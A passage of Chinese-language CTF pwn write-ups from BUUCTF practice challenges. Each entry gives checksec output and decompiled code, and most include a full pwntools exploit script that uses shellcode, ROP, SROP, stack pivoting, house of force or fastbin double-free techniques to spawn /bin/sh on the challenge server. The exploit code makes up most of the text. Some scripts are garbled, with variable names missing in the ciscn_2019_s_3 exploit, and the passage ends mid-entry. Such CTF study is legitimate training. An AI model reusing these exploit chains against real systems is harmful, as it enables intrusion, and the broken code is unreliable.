puts("wow~ nice name!");
puts("What do you want to say to me?");
gets(&v4, &name);
return 0;
}

name

.bss:0000000000601080                 public name
.bss:0000000000601080 name db ? ; ; DATA XREF: main+35↑o
.bss:0000000000601081 db ? ;
.bss:0000000000601082 db ? ;
.bss:0000000000601083 db ? ;
.bss:0000000000601084 db ? ;
.bss:0000000000601085 db ? ;
.bss:0000000000601086 db ? ;
.bss:0000000000601087 db ? ;

既然没有保护,应该是shellcode,所以不要往复杂的方向想

shellcode + 溢出 + 栈转移

3.EXP

from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26651)
elf = ELF("./ciscn_2019_n_5")
context(arch='amd64',os='linux')

name_addr = 0x0601080

shellcode = asm(shellcraft.sh())
p.recvuntil('tell me your name\n')
p.sendline(shellcode)
payload = 'a'*(0x20+8)+p64(name_addr)
p.recvuntil('me?')
p.sendline(payload)
p.interactive()

context的类型一定要写

ciscn_2019_n_8

1.checksec()

[*] '/root/download/BUUCTF/ciscn_2019_n_8/ciscn_2019_n_8'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

全保护,我尿了

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp-14h] [ebp-20h]
int v5; // [esp-10h] [ebp-1Ch]

var[13] = 0;
var[14] = 0;
init();
puts("What's your name?");
__isoc99_scanf("%s", var, v4, v5); // ====+STACK_OVERFLOW+====
if ( *(_QWORD *)&var[13] )
{
if ( *(_QWORD *)&var[13] == 17LL )
system("/bin/sh");
else
printf(
"something wrong! val is %d",
var[0],
var[1],
var[2],
var[3],
var[4],
var[5],
var[6],
var[7],
var[8],
var[9],
var[10],
var[11],
var[12],
var[13],
var[14]);
}
else
{
printf("%s, Welcome!\n", var);
puts("Try do something~");
}
return 0;
}

第一个输入让var[13]为17可以进入,不管用啥方式,覆盖52个位置就可以传递17这个数字了,超级简单

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",26629)
#p = process("./ciscn_2019_n_8")
payload = "a"*52 + p32(17)
p.sendlineafter("?",payload)
p.interactive()

ciscn_2019_ne_5

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // [esp+0h] [ebp-100h]
char src[4]; // [esp+4h] [ebp-FCh]
char v5; // [esp+8h] [ebp-F8h]
char s1[4]; // [esp+84h] [ebp-7Ch]
char v7; // [esp+88h] [ebp-78h]
int *v8; // [esp+F4h] [ebp-Ch]

v8 = &argc;
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
fflush(stdout);
*(_DWORD *)s1 = 48;
memset(&v7, 0, 0x60u);
*(_DWORD *)src = 0x30;
memset(&v5, 0, 0x7Cu);
puts("Welcome to use LFS.");
printf("Please input admin password:");
__isoc99_scanf((int)"%100s", (int)s1);
if ( strcmp(s1, "administrator") )
{
puts("Password Error!");
exit(0);
}
puts("Welcome!");
while ( 1 )
{
puts("Input your operation:");
puts("1.Add a log.");
puts("2.Display all logs.");
puts("3.Print all logs.");
printf("0.Exit\n:");
__isoc99_scanf((int)"%d", (int)&v3);
switch ( v3 )
{
case 0:
exit(0);
return;
case 1:
AddLog((int)src);
break;
case 2:
Display(src);
break;
case 3:
Print();
break;
case 4:
GetFlag(src);
break;
default:
continue;
}
}
}

GetFlag

int __cdecl GetFlag(char *src)
{
char dest[4]; // [esp+0h] [ebp-48h]
char v3; // [esp+4h] [ebp-44h]

*(_DWORD *)dest = 0x30;
memset(&v3, 0, 0x3Cu);
strcpy(dest, src);
return printf("The flag is your log:%s\n", dest);
}

取程序里面fflush的sh填入system参数+栈溢出

3.EXP

from pwn import *
#context.log_level = 'debug'
p = remote("node3.buuoj.cn",26685)
#p = process("./ciscn_2019_ne_5")
elf = ELF("./ciscn_2019_ne_5")

sys_addr = elf.plt['system']
sh_addr = 0x080482E0+0xA

payload = 'a'*(0x48+4)+p32(sys_addr)+'aaaa'+p32(sh_addr)

p.recvuntil('Please input admin password:')
p.sendline('administrator')

p.recvuntil('0.Exit\n:')
p.sendline('1')

p.recvuntil('Please input new log info:')
p.sendline(payload)

p.recvuntil('0.Exit\n:')
p.sendline('4')

p.interactive()

ciscn_2019_s_3

1.checksec()

root@joe1sn:~/download/BUUCTF/ciscn_2019_s_3# checksec ciscn_s_3
[*] '/root/download/BUUCTF/ciscn_2019_s_3/ciscn_s_3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
return vuln();
}

vuln

signed __int64 vuln()
{
signed __int64 result; // rax

__asm { syscall; LINUX - sys_read }
result = 1LL;
__asm { syscall; LINUX - sys_write }
return result;
}

居然是汇编,这种题从来没遇见过

不过看得出来(结合汇编)

sys_write:向栈上写数据(0x400)

sys_read:从栈上读数据(0x30)

查了查WP

https://blog.csdn.net/github_36788573/article/details/103541178

  • 3WriteUp分析
  • 主要是gadget函数有东西
; __unwind {
push rbp
mov rbp, rsp
mov rax, Fh
retn
mov rax, 59
retn
pop rbp
retn
} // starts at 4004D6

先是向rax传递了0xf,在linux的系统调用表示

sys_rt_sigreturn(unsigned long _unused)

15号系统调用sigreturn。这个系统调用是在终止信号恢复用户态环境时用的。那么我们在栈上伪造寄存器的值,那么恢复时就可将寄存器控制为我们想要的值。

向rax传递了59,在linux的系统调用表示

sys_exec(const char *filename,const char *const argv[],const char *,const envp[])

就相当于system函数

59号系统调用是execve那么就可以想办法控制寄存器的值调用execve("/bin/sh",0,0),注意在调用execve时,后面两个参数需要置0,由于需要控制rdx的值,所以选择使用通用gadget,__libc_csu_init。

这就引申出两种解题方法

4.1 59号系统调用

ropgadget

Gadgets information
============================================================
0x00000000004004a3 : mov byte ptr [rip + 0x200b86], 1 ; ret
0x00000000004004e3 : mov eax, 0x3b ; ret
0x00000000004004db : mov eax, 0xf ; ret
0x00000000004004d8 : mov ebp, esp ; mov rax, 0xf ; ret
0x00000000004004e2 : mov rax, 0x3b ; ret
0x00000000004004da : mov rax, 0xf ; ret
0x000000000040059c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059e : pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004005a0 : pop r14 ; pop r15 ; ret
0x00000000004005a2 : pop r15 ; ret
0x00000000004004a2 : pop rbp ; mov byte ptr [rip + 0x200b86], 1 ; ret
0x000000000040059b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040059f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400440 : pop rbp ; ret
0x00000000004005a3 : pop rdi ; ret
0x00000000004005a1 : pop rsi ; pop r15 ; ret
0x000000000040059d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x00000000004003a9 : ret

Unique gadgets found: 18
3.EXP
from pwn import *
context.log_level = "debug"
p = remote("node3.buuoj.cn",26249)

vuln_addr = 0x04004ED
execv = 0x04004E2
pop_rdi = 0x04005A3
pop_5_ret = 0x040059A
mov_RDX_r13 =0x0400580
sys_write = 0x0400517

payload = "/bin/sh\x00"*2 + p64(vuln_addr)
p.send(payload)
p.recv(0x20)
= u64(p.recv(8)) - 280
print(hex( ))

payload = "/bin/sh\x00"*2 + p64(pop_5_ret) + p64(0)*2
payload += p64( +0x50)+p64(0)*3
payload += p64(mov_RDX_r13) + p64(execv)
payload += p64(pop_rdi) + p64( ) + p64(sys_write)
p.send(payload)
p.interactive()

这个EXP是可以打通的,看上去和普通write泄露libc的EXP差不多

其实包含了很多汇编的底层知识

4.2FramingSignals-AReturntoPortableShellcode

SROP

FramingSignals-AReturntoPortableShellcode

from pwn import *

io=process('./ciscn_s_3')

main=0x0004004ED
sigret=0x4004DA
sys=0x400517

pl1='/bin/sh\x00'*2+p64(main)
io.send(pl1)
io.recv(0x20)
sh=u64(io.recv(8))-280
print(hex(sh))
frame = SigreturnFrame()
frame.rax = constants.SYS_execve
frame.rdi = sh
frame.rsi = 0
frame.rdx = 0
frame.rip = sys
pl1='a'*16+p64(sigret)+p64(sys)+str(frame)
'''
def debug(addr):
raw_input('debug:')
gdb.attach(io, "b *" + addr)
debug('0x400514')
'''
pl2='/bin/sh\x00'*2+p64(sigret)+p64(sys)+str(frame)
io.send(pl2)
io.interactive()

参考南梦的打法
[CTF-BUUCTF-Pwn刷题之旅-](https://196011564.github.io/2019/07/13/CTF-BUUCTF-Pwn%E5%88%B7%E9%A2%98%E4%B9%8B%E6%97%85-(1)/

ciscn_2019_s_4

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

vuln

int vul()
{
char s; // [esp+0h] [ebp-28h]

memset(&s, 0, 0x20u);
read(0, &s, 0x30u);
printf("Hello, %s\n", &s);
read(0, &s, 0x30u);
return printf("Hello, %s\n", &s);
}

两次很短的栈溢出,第一次ebp leak,第二次leave ret

3.GDB

  • **1.**输入0x20+4个字符串,泄露ebp
ECX: 0xffffcff0 ('a' <repeats 36 times>, "\n\320\377\377(\320\377\377*\206\004\b\334c\373\367@\320\377\377")
................
EBP: 0xffffd018 --> 0xffffd028 --> 0x0
>>> hex(0xffffcff0- 0xffffd018)
'-0x28'

下一步时,程序会抬栈,所以这时候的buf为0xffffd028,偏移量为0x28-0x10

  • 2.构造payload

主要目标是:让程序ret到栈开始的地方,将刚才构造的payload当作命令执行

pl2=('aaaa'+p32(sys_plt)+'bbbb'+p32(buf+0x10)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf)+p32(leave)

4.EXP

from pwn import *
context.log_level = "debug"
#p = remote("node3.buuoj.cn","26826")
p = process("./ciscn_s_4")
elf = ELF("./ciscn_s_4")

leave=0x8048562
sys_plt=0x8048400

pl1='a'*0x24+'bbbb'
p.send(pl1)
p.recvuntil('bbbb')
ebp=u32(p.recv(4))
success("EBP =>0x%x",ebp)
context.terminal=["tmux",'splitw','-h']
gdb.attach(p)

buf=ebp-0x38
pl2=('aaaa'+p32(sys_plt)+'bbbb'+p32(buf+16)+'/bin/sh\x00').ljust(0x28,'a')+p32(buf)+p32(leave)
p.send(pl2)

p.interactive()

cisncn_2019_s_6

ciscn_2019_es_1一样

ciscn_2019_s_9

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

估计和shellcode相关

2.IDA

pwn

int pwn()
{
char s[24]; // [esp+8h] [ebp-20h]

puts("\nHey! ^_^");
puts("\nIt's nice to meet you");
puts("\nDo you have anything to tell?");
puts(">");
fflush(stdout);
fgets(s, 50, stdin);
puts("OK bye~");
fflush(stdout);
return 1;
}

第十行栈溢出

hint

; Attributes: bp-based frame
;void hint
public hint
hint proc near
; __unwind {
push ebp
mov ebp, esp
jmp esp
hint endp

利用jmp esp实现跳转

3.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./ciscn_s_9")
p = remote("node3.buuoj.cn","25940")

shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
gadget = asm("sub esp,0x28 ; jmp esp")
jmp_esp = 0x08048554

payload = shellcode.ljust(0x24,'\x00')+p32(jmp_esp)+gadget
p.sendline(payload)
p.interactive()

cmcc_pwnme1

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

2.IDA

getfruit

int getfruit()
{
char v1; // [esp+14h] [ebp-A4h]

fflush(stdout);
printf("Please input the name of fruit:");
__isoc99_scanf("%s", &v1);
return printf("oh,%s...\n", &v1);
}

栈溢出

3.EXP

from pwn import *
from LibcSearcher import *
context.log_level = "debug"
elf = ELF("./pwnme1")
p = remote("node3.buuoj.cn","28427")

puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
getfruit = 0x08048624

payload = 'a'*(0xA4+4)
payload += p32(puts_plt)+p32(getfruit)+p32(puts_got)

p.sendlineafter(">> 6. Exit ",'5')
p.sendlineafter("Please input the name of fruit:",payload)


puts_real = u32(p.recvuntil('\xf7')[-4:].ljust(4,'\x00'))
libc = LibcSearcher("puts",puts_real)
base = puts_real-libc.dump("puts")
sys_addr = base+libc.dump("system")
binsh = base+libc.dump("str_bin_sh")
success("libc base 0x%x",base)
success("binsh 0x%x",binsh)
success("system 0x%x",sys_addr)

payload = 'a'*(0xA4+4)
payload += p32(sys_addr)+'aaaa'+p32(binsh)
p.sendlineafter("Please input the name of fruit:",payload)
p.interactive()

cmcc_pwnme2

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

userfunction

int __cdecl userfunction(char *src)
{
char dest; // [esp+Ch] [ebp-6Ch]
strcpy(&dest, src);
return printf("Hello, %s\n", src);
}

之前在main里面输入过多的话,会导致这里栈溢出

exec_string

int exec_string()
{
char s; // [esp+Bh] [ebp-Dh]
FILE *stream; // [esp+Ch] [ebp-Ch]

stream = fopen(&string, "r");
if ( !stream )
perror("Wrong file");
fgets(&s, 50, stream);
puts(&s);
fflush(stdout);
return fclose(stream);
}

string变量在bss段上,要想执行它,就必须把/flag命令写到string上,这里就可以构造payload

3.EXP

from pwn import *
context.log_level = "debug"
sh = remote("node3.buuoj.cn",28490)
elf = ELF("pwnme2")
pop_ebp_ret = 0x08048680
offset = 0x6C+4
payload = offset * "a"
payload += p32(elf.plt['gets'])
payload += p32(pop_ebp_ret)
payload += p32(0x0804A060)#bss_string
payload += p32(0x080485CB)#exec_string
sh.sendlineafter("Please input:",payload)
sh.sendline("/flag")
sh.interactive()

cmcc_simplerop

1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

发现了超级多的无用函数

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [esp+1Ch] [ebp-14h]

puts("ROP is easy is'nt it ?");
printf("Your input :");
fflush(stdout);
return read(0, &v4, 100);
}

很明显的read溢出,但是不大好的构造ropchain,所以先用ROPgadget自动生成ropchain,但是需要调整长度

ROPgadget --binary simplerop --ropchain

3.EXP

from pwn import *
from struct import pack
#io=process('./simplerop')
io=remote("node3.buuoj.cn",25035)
io.recvuntil(':')
# Padding goes here
p = 'a'*0x14+p32(1)*3
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e82a) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080bae06) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806e850) # pop edx pop ecx pop edx; ret
p += pack('<I', 0x0)
p += pack('<I', 0x0)
p += pack('<I', 0x080ea060) #bin/sh
p += pack('<I', 0x080bae06) #pop eax
p += pack('<I', 0xb) # eax=0xb
p += pack('<I', 0x080493e1) #int 80
io.send(p)
io.interactive()
print hex(len(p))

ez_pz_hackover_2016

1.checksec

Arch:     i386-32-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
RWX: Has RWX segments

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
setbuf(stdout, 0);
header();
chall();
return 0;
}

chall

int chall()
{
size_t v0; // eax
int result; // eax
char s; // [esp+Ch] [ebp-40Ch]
_BYTE *v3; // [esp+40Ch] [ebp-Ch]

printf("Yippie, lets crash: %p\n", &s);
printf("Whats your name?\n");
printf("> ");
fgets(&s, 1023, stdin);
v0 = strlen(&s);
v3 = memchr(&s, 10, v0);
if ( v3 )
*v3 = 0;
printf("\nWelcome %s!\n", &s);
result = strcmp(&s, "crashme");
if ( !result )
result = vuln((unsigned int)&s, 0x400u);
return result;
}

vuln

void *__cdecl vuln(char src, size_t n)
{
char dest; // [esp+6h] [ebp-32h]

return memcpy(&dest, &src, n);
}

strlen()遇见’\x00’截断

s 和 vuln里面dest 的ebp 的距离

memchr比较前十个字符串

3.EXP

from pwn import *
#context.log_level = "debug"
p = remote("node3.buuoj.cn",29397)
#p = process("./ez_pz_hackover_2016")

p.recvuntil("Yippie, lets crash: 0x")
stack_addr = int(p.recv(8),16)
print hex(stack_addr)
payload = "crashme\x00" + 'a'*(0x40-0x32+4)
payload += p32(stack_addr-(0x40-0x32+4+10)) + asm(shellcraft.sh())
p.sendlineafter("> ",payload)
p.interactive()

get_started_3dsctf_2016

1.checksec()

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+4h] [ebp-38h]

printf("Qual a palavrinha magica? ", v4);
gets(&v4);
return 0;
}

get_flag

void __cdecl get_flag(int a1, int a2)
{
int v2; // eax
int v3; // esi
unsigned __int8 v4; // al
int v5; // ecx
unsigned __int8 v6; // al

if ( a1 == 814536271 && a2 == 425138641 )
{
v2 = fopen("flag.txt", "rt");
v3 = v2;
v4 = getc(v2);
if ( v4 != 255 )
{
v5 = (char)v4;
do
{
putchar(v5);
v6 = getc(v3);
v5 = (char)v6;
}
while ( v6 != 255 );
}
fclose(v3);
}
}

其实主要分析可知,这个程序的大致意思是修改eip改变程序流,最后执行cat_flag
但是BUU远程打不通,要使用mprotec函数修改内存的权限为可读可写可执行,再使用read函数写入shellcode到被解放的bss段

  • mprotect原型
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);

所以我们需要三个参数,就要ppp_ret

3.EXP

from pwn import *
#context.log_level = "debug"
p=remote('node3.buuoj.cn',28495)
elf=ELF('./get_started_3dsctf_2016')
pop3_ret = 0x0804951D
get_flag = 0x080489A0
got_addr = 0x080EB000
payload = 'a'*0x38+p32(elf.symbols['mprotect'])
payload += p32(pop3_ret)+p32(got_addr)+p32(0x1d8c)+p32(0x7)
payload += p32(elf.symbols['read'])
payload += p32(pop3_ret)+p32(0)+p32(got_addr)+p32(0x100)+p32(got_addr)
p.sendline(payload)
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()

gyctf_2020_borrowstack

1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-60h]

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts(&s);
read(0, &buf, 0x70uLL);
puts("Done!You can check and use your borrow stack now!");
read(0, &bank, 0x100uLL);
return 0;
}

第一步栈迁移,第二步抬高栈了过后libc leak,程序返回至第一个read,第三步one gadget来getshell

3.EXP

from pwn import *
context.log_level = "debug"
io=remote('node3.buuoj.cn',25707)

bank=0x0601080
leave=0x400699
puts_plt=0x04004E0
puts_got=0x0601018
pop_rdi=0x400703
main=0x0400626
ret=0x4004c9

io.recvuntil('u want')
pl1='a'*0x60+p64(bank)+p64(leave)
io.send(pl1)
io.recvuntil('now!')
pl2=p64(ret)*20 #抬高栈
'''
ret指令用栈中的数据,修改IP的值,从而实现近转移。
CPU执行ret指令时,进行下面两步操作:
(IP)=((SS)*16+(SP))
(SP)=(SP)+2;
'''
pl2+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
io.send(pl2)
io.recvline()
puts_add=u64(io.recv(6).ljust(8,'\x00'))
libc_base=puts_add-0x06f690
one_gadget=libc_base+0x4526a
pl3='a'*0x60+'bbbbbbbb'+p64(one_gadget)
io.send(pl3)

io.interactive()

gyctf_2020_force

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

有用的基本只有add

def add(sz,text):
p.sendlineafter("2:puts\n","1")
p.sendlineafter("size\n",str(sz))
p.recvuntil("bin addr ")
addr = int(p.recvuntil('\n').strip(), 16)
p.sendafter("content\n",text)
return addr

add

puts("size");
read(0, nptr, 0xFuLL);
size = atol(nptr);
*(_QWORD *)i = malloc(size);
if ( !*(_QWORD *)i )
exit(0);

add会返回堆的地址,所以可以利用这个来获取偏移量

add同时存在堆溢出,使得我们可以覆盖 top chunksize

可以多次申请。综上,符合house of force的攻击条件

1.libc leak 2.hof 3.malloc_hook+one gadget

3.GDB

0x1 libc leak

1:add
2:puts
1
size
2097152
bin addr 0x7ffff780c010
content
aaaa
>vmmap
0x7ffff780c000 0x7ffff7a0d000 rw-p 201000 0
0x7ffff7a0d000 0x7ffff7bcd000 r-xp 1c0000 0 /lib/x86_64-linux-gnu/libc-2.23.so
>In python
>>> hex(0x7ffff7a0d000 - 0x7ffff780c010)
'0x200ff0'

得到偏移 0x200ff0

0x2 house of force

#code:
addr = add(0x200000,'aaaaaa')
base = addr + 0x200ff0
log.success("libc base >>0x%x",base)
top = add(0x18,"a"*0x10+p64(0)+p64(0xffffffffffffffff))+0x10
log.success("top chunk >>0x%x",top)
gdb.attach(p)
#gdb:
pwndbg> heap
0x5559b4dfa000 FASTBIN {
prev_size = 0,
size = 33,
fd = 0x6161616161616161,
bk = 0x6161616161616161,
fd_nextsize = 0x0,
bk_nextsize = 0xffffffffffffffff
}
pwndbg> x/12gx 0x5559b4dfa000
0x55d5b01aa000: 0x0000000000000000 0x0000000000000021
0x55d5b01aa010: 0x6161616161616161 0x6161616161616161
0x55d5b01aa020: 0x0000000000000000 0xffffffffffffffff
0x55d5b01aa030: 0x0000000000000000 0x0000000000000000
#输出:
[+] Starting local process './gyctf_2020_force': pid 50956
[+] libc base >>0x7fc48892d000
[+] top chunk >>0x55d5b01aa020
#code:
add((offset-0x33),"aaaa")
#考虑到内存对齐,经过调试可得offset-0x33时,可以申请到malloc_hook-0x21的内存
add(0x10,"a"*0x8+p64(one_gadget)+p64(realloc+16))
#gdb:
0x7f7a6909aaef <_IO_wide_data_0+303>: 0x007f7a6909926000 0x0000000000002100
0x7f7a6909aaff: 0x6161616161616100 0x007f7a68d1b26a61
0x7f7a6909ab0f <__realloc_hook+7>: 0x007f7a68d5a6d000 0xffd61c20d2750900 <-这里调整堆栈,使one gadget可用
0x7f7a6909ab1f: 0x00000100000000ff 0x0000000000000000

4.EXP

from pwn import *
#context.log_level = "debug"
elf = ELF("./gyctf_2020_force")
libc = ELF("/home/joe1sn/libc/64/libc-2.23.so")
p = process("./gyctf_2020_force")
#p = remote("node3.buuoj.cn","28528")

def add(sz,text):
p.sendlineafter("puts\n","1")
p.sendlineafter("size\n",str(sz))
p.recvuntil("0x")
addr = int(p.recv(12),16)
p.sendafter("content\n",text)
return addr

if __name__ == '__main__':
addr = add(0x200000,'aaaaaa')
base = addr + 0x200ff0
log.success("libc base >>0x%x",base)
top = add(0x18,"a"*0x10+p64(0)+p64(0xffffffffffffffff))+0x10
log.success("top chunk >>0x%x",top)
#gdb.attach(p)

malloc_hook = base+libc.sym["__malloc_hook"]
realloc = base+libc.sym["__libc_realloc"]
one_gadget = 0x4526a + base
offset = malloc_hook-top

log.success("malloc hook >>0x%x",malloc_hook)
log.success("realloc hook >>0x%x",realloc)
log.success("offset >>0x%x",offset)

add((offset-0x33),"aaaa")
add(0x10,"a"*0x8+p64(one_gadget)+p64(realloc+16))
#gdb.attach(p)

p.sendlineafter("puts\n","1")
p.sendlineafter("size\n",str(0x20))
p.interactive()

gyctf_2020_some_thing_exceting

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

2.IDA

三大功能

def add(ba_sz,ba_text,na_sz,na_text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(ba_sz))
p.sendlineafter(":",str(ba_text))
p.sendlineafter(":",str(na_sz))
p.sendlineafter(":",str(na_text))

def delete(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def view(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))

flag

unsigned __int64 flag()
{
FILE *stream; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
stream = fopen("/flag", "r");
if ( !stream )
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}
byte_6020A0 = 96;
fgets(s, 45, stream);
return __readfsqword(0x28u) ^ v2;
}

后门函数

delete

free(*(void **)ptr[v1]);
free(*((void **)ptr[v1] + 1));
free(ptr[v1]);

free指针没有清零,可以直接接上

3.EXP

from pwn import *
#context.log_level = "debug"
elf = ELF("./something")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
#p = process("./something")
p = remote("node3.buuoj.cn","25754")

def add(ba_sz,ba_text,na_sz,na_text):
p.sendlineafter(":","1")
p.sendlineafter(":",str(ba_sz))
p.sendlineafter(":",str(ba_text))
p.sendlineafter(":",str(na_sz))
p.sendlineafter(":",str(na_text))

def delete(idx):
p.sendlineafter(":","3")
p.sendlineafter(":",str(idx))

def view(idx):
p.sendlineafter(":","4")
p.sendlineafter(":",str(idx))

if __name__ == '__main__':
add(0x50,'0000',0x50,'1111')#0
add(0x50,'2222',0x50,'3333')#1

delete(0)
delete(1)
delete(0)

add(0x50,p64(0x602098),0x50,'Chunk_2')#0
add(0x50,'Chunk_3',0x50,'Chunk_4')#1-->in 0x602098
add(0x50,'f',0x60,'2')#0
view(4)
p.interactive()

gyctf_2020_some_thing_interesting

1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

2.IDA

sub_B7A

read(0, s1, 0x13uLL);
if ( strncmp(s1, "OreOOrereOOreO", 14uLL) ) // 只比较了前14个,后面可以带东西
{
puts("Emmmmmm!Maybe you want Fool me!");
exit(0);
}

字符串格式化漏洞,这里可以泄露地址

delete

unsigned __int64 delete()
{
int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("#######################");
puts("# Delete Oreo #");
puts("#---------------------#");
printf("> Oreo ID : ");
_isoc99_scanf("%d", &v1);
if ( v1 < 0 || v1 > 10 || !chunk[v1] ) // 检查idx合法
{
puts("Emmmmmm!Maybe you want Fool me!");
Exit();
}
free(chunk[v1]); // 指针未清零
free(re_chunk[v1]); // 导致uaf
puts("#---------------------#");
puts("# ALL Down! #");
puts("#######################");
return __readfsqword(0x28u) ^ v2;
}

free后指针没有置零,造成uaf

3.exp1 偏移量计算

from pwn import *
elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so")
sh = 0
counter=""

def start(i):
sh.sendlineafter(":","OreOOrereOOreO%"+str(i)+"$p")

def check_in(i):
sh.sendlineafter(":","0")
sh.recvuntil("OreOOrereOOreO")
str1 = sh.recv(16)
#print str1
if "0x7f" in str1:
success("This can be tested")
global counter
counter+= " "+str(i)+" "
print "\n"
print "\n"
else:
pass


def offset_count(ip,port,mode,debug,i):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./gyctf_2020_some_thing_interesting")
else:
sh = remote(ip,port)
start(i)
check_in(i)
sh.close()

if __name__ == '__main__':
for i in range(4,20):
#success("Now round %d",i)
offset_count(1,1,0,1,i)
print "can be tested >"
print counter

得到

4 6 7 10 11 12 14 16 17 19

最终得到偏移量为 17

这里也可以使用 *b $rebase(偏移地址) 来慢慢计算得到偏移

3.exp2 攻击

from pwn import *
elf = ELF("./gyctf_2020_some_thing_interesting")
libc = ELF("/mnt/d/CTF/Question/BUUCTF/libc/64/libc-2.23.so")
sh = 0

def leak_addr():
sh.sendlineafter(":","OreOOrereOOreO%17$p")
sh.sendlineafter(":","0")
sh.recvuntil("OreOOrereOOreO0x")
return int(sh.recv(12),16)

def create(o_sz,o_text,re_sz,re_text):
sh.sendlineafter(":","1")
sh.sendlineafter(": ",str(o_sz))
sh.sendlineafter(": ",o_text)
sh.sendlineafter(": ",str(re_sz))
sh.sendlineafter(": ",re_text)

def edit(idx,o_text,re_text):
sh.sendlineafter(":","2")
sh.sendlineafter(": ",str(idx))
sh.sendlineafter(": ",o_text)
sh.sendlineafter(": ",re_text)

def delete(idx):
sh.sendlineafter(":","3")
sh.sendlineafter(": ",str(idx))

def show(idx):
sh.sendlineafter(":","3")
sh.sendlineafter(": ",str(idx))

def pwn(ip,port,debug,mode):
global sh
if debug==0:
context.log_level = "debug"
else:
pass
if mode==0:
sh = process("./gyctf_2020_some_thing_interesting")
else:
sh = remote(ip,port)

leak = leak_addr()
base = leak-0x20830
one_gadget = 0xf1147+base
malloc_hook = base+libc.sym["__malloc_hook"]
success("base -> 0x%x",base)
success("one gadget -> 0x%x",one_gadget)
success("malloc hook -> 0x%x",malloc_hook)

create(0x68,'aaaa',0x68,'1111') #1
create(0x68,'aaaa',0x68,'1111') #2
delete(1)
delete(2)
delete(1)

create(0x68,p64(malloc_hook-35),0x68,'1111') #1
create(0x68,p64(malloc_hook-35),0x68,'1111') #2
create(0x68,p64(malloc_hook-35),0x68,"a"*0x13+p64(one_gadget)) #1
sh.sendlineafter(":","1")
sh.sendlineafter(": ","20")
sh.interactive()
if __name__ == '__main__':
pwn("node3.buuoj.cn",29443,1,1)

hitcon_2014_stkof

1.checksec

